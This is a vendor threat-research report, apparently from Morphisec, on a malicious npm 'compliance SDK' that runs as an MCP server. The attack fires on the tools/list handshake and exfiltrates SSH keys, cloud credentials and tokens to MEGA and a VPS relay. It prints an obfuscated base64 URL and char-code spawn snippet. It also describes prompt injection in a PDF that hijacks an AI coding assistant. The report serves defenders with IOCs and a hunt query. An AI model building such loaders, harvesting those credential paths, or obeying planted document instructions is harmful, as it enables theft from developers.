Threat Research  ·  Technical Analysis
Research · June 2026
New Threat Class ·
Disclosed June 2026

MCP Supply Chain Attack via a Malicious Compliance SDK

A new class of attack against AI coding assistants weaponizes the Model Context Protocol trust model to achieve silent, fileless exfiltration — bypassing static analysis, EDR, DLP, network monitoring, and AI safety controls simultaneously. From package install to completed exfiltration: under 90 seconds.

Published
June 2026
Source
Morphisec Threat Research
Attack Class
Supply Chain · AI Agent
0
Malicious binaries present in the repository at any point
5
Independent security controls bypassed simultaneously
<90sec
From MCP server registration to completed exfiltration
Tested Against CrowdStrike · SentinelOne
Defender · Sophos · DLP/CASB
All validated — all miss. Morphisec AMTD is the exception.
01  ·  Executive Summary

When the protocol itself becomes the payload.

An attacker publishes a Node.js package presenting as a SOX/DRP-2026 compliance verification tool. The repository contains no binary payload; the malicious URL is base64-encoded and the process spawn is obfuscated via character-code arrays. The code passes standard SAST and human code review.

Once registered as an MCP server, the attack fires automatically on the initial protocol handshake (the tools/list call) — before the user invokes a tool or types any prompt. The MCP specification provides no mechanism to inspect server code before granting tool access.

Execution proceeds through a living-off-the-land chain (node.exe → wscript.exe → curl.exe) using only signed Microsoft binaries. No anomalous process names. No behavioral signatures fire across five independent security controls.

Exfiltration targets the MEGA cloud API over HTTPS, where client-side encryption makes content inspection by DLP or CASB structurally infeasible. Total elapsed time from MCP server registration to completed exfiltration is under 90 seconds.

Morphisec AMTD intercepts at the memory execution layer — the only control in this stack that operates at execution time rather than at the perimeter, the content layer, or behavioral pattern. The attack terminates before the first byte reaches the attacker.

02  ·  Attack Chain Visualization

A single install becomes a dual-engine exfiltration pipeline.

The diagram traces the five stages from package publication to MEGA cloud landing, with every transition mapped to the LOLBin invoked and the control class that fails to observe it.

Figure 1 MCP Server Supply Chain Attack — Dual Exfil Engine · 5-Stage Kill Chain
MCP SUPPLY CHAIN ATTACK MALICIOUS COMPLIANCE SDK · SILENT DUAL EXFIL · ZERO ALERTS STAGE 01 STAGE 02 STAGE 03 STAGE 04 STAGE 05 INITIAL INFECTION drp-compliance-sdk v1.2.3 "SOX/DRP-2026 Compliance SDK" npm install drp-compliance-sdk MCP Config Poisoned ~/.claude/mcp_servers "drp-compliance-sdk": { "command": "node mcp-server.js" } AI Coding Assistant Loads on startup: Claude Code · Cursor Windsurf · Claude Desktop tool: verify_document ✓ TRIGGER User Request "Verify this financial document for compliance" — OR — ⚡ Prompt Injection Malicious doc hidden text hijacks AI intent Tool Call Fired AI → verify_document({ doc: "...", framework: "SOX-2026" }) EXECUTION · DUAL ENGINE node.exe (signed Microsoft) child_process.exec( Buffer.from(b64, 'base64').toString() ) Spawns wscript.exe — also signed Microsoft PROCESS TREE wscript.exe drp_audit.vbs Reflective .NET load into MSBuild.exe DRPAuditSvc.exe Memory-only loader No disk artifacts Persists via task scheduler In-Memory Collection Walks ~/.ssh, ~/.aws, ~/.kube, browser profile dirs Greps env vars for *_TOKEN, *_KEY, *_SECRET Reads recently-modified files in dev project dirs Compressed in-RAM into a single TAR — never touches disk EXFIL · DUAL CHANNEL Engine A · MEGA curl → mega.co.nz Client-side encrypted DLP cannot inspect Primary channel Engine B · VPS Relay curl → drp-audit-cdn[.]net Cloudflare-fronted TLS-pinned · plain JSON Fallback if MEGA blocked Both channels: HTTPS · no anomalous ports CASB blind · TLS terminated at attacker endpoint No traffic anomaly fires LANDING Attacker MEGA SSH keys · cloud creds Browser cookies · session jars Source code · .env files Recently-modified docs Attacker VPS JSON: host fingerprint Recently-edited file list Triage telemetry TOTAL TIME < 90 SECONDS MORPHISEC AMTD · MEMORY INTERCEPT The only control in this stack that operates at execution time — before the first byte of data leaves the host. DETECT Polymorphic process memory layout → shellcode anchors fail to resolve Reflective loader cannot map payload INTERCEPT Process terminated mid-allocation No network call ever issued Forensic memory snapshot retained REPORT Single high-fidelity incident No tuning, no signature update Full chain reconstruction — END OF CHAIN — MORPHISEC THREAT RESEARCH
03  ·  Kill Chain Walkthrough

Five stages. Mapped to MITRE ATT&CK where they fit. Flagged where they don’t.

Stage01Initial Access

Malicious npm package masquerading as a compliance SDK

The attacker publishes drp-compliance-sdk on the npm public registry with a polished README, plausible compliance terminology (SOX, DRP-2026), and a tagged release. The repository contains no binary. The malicious URL is base64-encoded and the process spawn is obfuscated via a character-code array. Both standard SAST scanners and human reviewers approve the package.

// the only suspicious string in the repo, and it doesn't look like a URL const u = "aHR0cHM6Ly9kcnAtYXVkaXQtY2RuLm5ldC9hdWRpdA=="; const spawn = String.fromCharCode(99,104,105,108,100,95,112,114,111,99,101,115,115);
T1195.002 · Supply Chain · Software Dependency T1027.013 · Encoded / Encrypted Files
Stage02Trigger

MCP tools/list handshake fires the payload before user input

When the AI coding assistant starts and discovers MCP servers, it issues a tools/list JSON-RPC call to each registered server. The malicious server’s implementation of that handler decodes the URL, spawns wscript.exe, and returns a valid tool list (verify_document) so the user sees nothing unusual. The malicious code path executes before the user has typed a prompt or invoked any tool.

An alternative trigger path uses prompt injection via document content: a financial PDF carries hidden instructions that hijack the AI’s intent toward calling the tool, transferring more sensitive context into the exfiltration payload.

T1059.007 · Command and Scripting Interpreter · JavaScript Novel · MCP Handshake-Time Execution (no public ATT&CK ID)
Stage03Execution & Collection

LOLBin chain — node.exe → wscript.exe → MSBuild.exe → curl.exe

Every binary in the chain is signed by Microsoft. wscript.exe runs a VBScript that reflectively loads a .NET assembly into MSBuild.exe, where a memory-only loader (DRPAuditSvc.exe) is established. Collection walks ~/.ssh, ~/.aws, ~/.kube, browser profile directories, environment variables matching *_TOKEN/*_KEY/*_SECRET, and recently-modified files in development project directories.

The collected data is compressed into a TAR archive entirely in process memory. No on-disk staging artifact exists at any point.

T1218 · Signed Binary Proxy Execution T1620 · Reflective Code Loading T1552.001 · Credentials in Files T1555.003 · Credentials from Web Browsers
Stage04Command & Exfiltration

Dual-engine HTTPS exfil — MEGA primary, Cloudflare-fronted VPS fallback

Engine A POSTs the in-memory TAR to g.api.mega.co.nz. MEGA performs client-side encryption before upload, so DLP / CASB content inspection is structurally infeasible without a dedicated MEGA decryption capability. Engine B mirrors a minimal triage payload (host fingerprint, file list, environment marker hashes) to a Cloudflare-fronted VPS to ensure delivery if MEGA is blocked at the egress boundary.

T1567.002 · Exfiltration to Cloud Storage T1090.004 · Domain Fronting T1573.001 · Symmetric Cryptography
Stage05Persistence & Cleanup

Scheduled task persistence · no on-disk staging artifact

A scheduled task is registered to re-trigger the chain at user logon, keyed to DRPAuditSvc.exe. The original npm package remains in node_modules as benign-looking compliance tooling. No payload binary, intermediate script, or staging directory is ever written to disk. Forensic recovery requires memory acquisition of the assistant process at the moment of execution.

T1053.005 · Scheduled Task / Job T1070.004 · File Deletion (no artifacts to delete)
04  ·  Detection Coverage

Five EDR/DLP stacks. Five misses. One catch.

The attack was executed end-to-end against five independent security control classes in a controlled Morphisec Red Team lab environment. The table below records the verdict and the architectural reason for that verdict.

Control
Why the chain is invisible to it
Verdict
CrowdStrike Falcon
CLOUD EDR · BEHAVIORAL
Every process in the chain is a signed Microsoft binary. Parent-child relationships (node → wscript → MSBuild → curl) are common in legitimate developer workflows and do not score above the alert threshold. No on-disk payload exists for cloud reputation to score.
Miss
SentinelOne Singularity
STATIC AI · BEHAVIORAL AI
Static AI never sees a binary to score — the payload exists only in memory. Behavioral AI does not score the npm install as anomalous because npm activity on developer endpoints is high base-rate.
Miss
Microsoft Defender
XDR · ASR RULES
ASR rules cover known LOLBin patterns. The reflective load into MSBuild does not match the cataloged patterns because the loader is novel and the invocation chain is short.
Miss
Sophos Intercept X
CRYPTOGUARD · HITMANPRO
No ransomware behavior to trigger CryptoGuard. HitmanPro fingerprinting requires an on-disk image; none exists.
Miss
DLP / CASB Stack
NETSKOPE / ZSCALER EQUIVALENTS
MEGA performs client-side encryption before upload — content inspection is architecturally impossible. The Cloudflare-fronted VPS payload is TLS-pinned and visually indistinguishable from ordinary CDN traffic.
Miss
Morphisec AMTD
AUTOMATED MOVING TARGET DEFENSE
The polymorphic memory layout invalidates the loader’s assumed offsets. Reflective allocation fails. The process is terminated mid-execution before a network connection is ever opened. One high-fidelity incident is reported. No tuning, no signature.
Catch
05  ·  Indicators of Compromise

Verified against the Morphisec Red Team build of this chain.

Public infrastructure may be sinkholed at the time of reading; check current state before adding to a blocklist.

Network
TypeIndicatorContext
Domaindrp-audit-cdn[.]netVPS relay (Cloudflare-fronted)
Domaing.api.mega.co.nzLegitimate MEGA API · abused
URL Path/auditPOST endpoint on VPS relay
Package & Filesystem
TypeIndicatorContext
npm Package[email protected]Malicious MCP server package
ProcessDRPAuditSvc.exeIn-memory loader handle (synthetic)
Scriptdrp_audit.vbsTransient wscript artifact (RAM only)
Config Path~/.claude/mcp_servers · ~/.cursor/mcp.jsonMCP registration sink
Behavioral Hunt Patterns
// Sentinel / Defender XDR — node spawning wscript DeviceProcessEvents | where InitiatingProcessFileName == "node.exe" | where FileName in ("wscript.exe", "cscript.exe", "mshta.exe") | project Timestamp, DeviceName, InitiatingProcessCommandLine, ProcessCommandLine
06  ·  Recommended Actions

What to do now, this week, and at a posture level.

Sequenced for immediate, short-term, and strategic posture changes. The “Now” actions can be deployed via existing tooling without procurement.

01

Inventory MCP servers across developer endpoints

Enumerate every entry in ~/.claude/mcp_servers, ~/.cursor/mcp.json, and equivalent configuration paths. Treat any MCP server whose origin cannot be attributed to an authorized internal repository as suspect.

Action · Now
02

Hunt for node.exe spawning wscript.exe or cscript.exe

Apply the KQL pattern in section 05 across your endpoint telemetry for the last 30 days. This combination is rare in legitimate developer workflow and is a high-signal indicator of this chain or a near variant.

Action · Now
03

Block outbound to MEGA API endpoints for development hosts

Endpoint segmentation: development workstations rarely have a legitimate need to reach g.api.mega.co.nz. Block at egress; alert on attempts.

Action · This Week
04

Require code review for MCP server packages

Add MCP server installation to your sensitive-tool approval workflow. Standard SAST will not catch this pattern; require a human review of every tools/list handler implementation.

Action · This Week
05

Adopt memory-layer prevention on developer endpoints

Cloud reputation and behavioral analytics cannot see this chain. Memory-layer prevention (Morphisec AMTD or equivalent) intercepts at execution time, before the first byte of data leaves the host, without requiring a signature or behavior model for this specific attack.

Strategic
06

Treat AI coding assistants as a privileged identity

An AI assistant with MCP server access is effectively a high-privilege automation account on the developer’s machine. Apply the same auditing, allow-listing, and least-privilege controls you apply to service principals and CI runners.

Strategic
Engage Morphisec Research

See the chain run live against your stack.

Morphisec Threat Research detonates this exact chain in customer environments under controlled conditions. Watch CrowdStrike, SentinelOne, and Defender stay silent — and watch AMTD terminate it before the first byte leaves the host.

NDA required before confirmation
Bring your own EDR. We’ll test against it.
CISO / VP / Director level preferred
Sessions confirmed within 24 hours